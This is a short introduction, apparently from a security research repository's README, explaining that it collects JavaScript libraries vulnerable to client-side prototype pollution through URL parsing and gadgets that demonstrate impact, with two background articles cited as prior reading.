Client-Side Prototype Pollution

Intro

If you are unfamiliar with Prototype Pollution Attack, you should read the following first:
JavaScript prototype pollution attack in NodeJS by Olivier Arteau
Prototype pollution – and bypassing client-side HTML sanitizers by Michał Bentkowski

In this repository, I am trying to collect examples of libraries that are vulnerable to Prototype Pollution due to document.location parsing and useful script gadgets that can be used to demonstrate the impact.
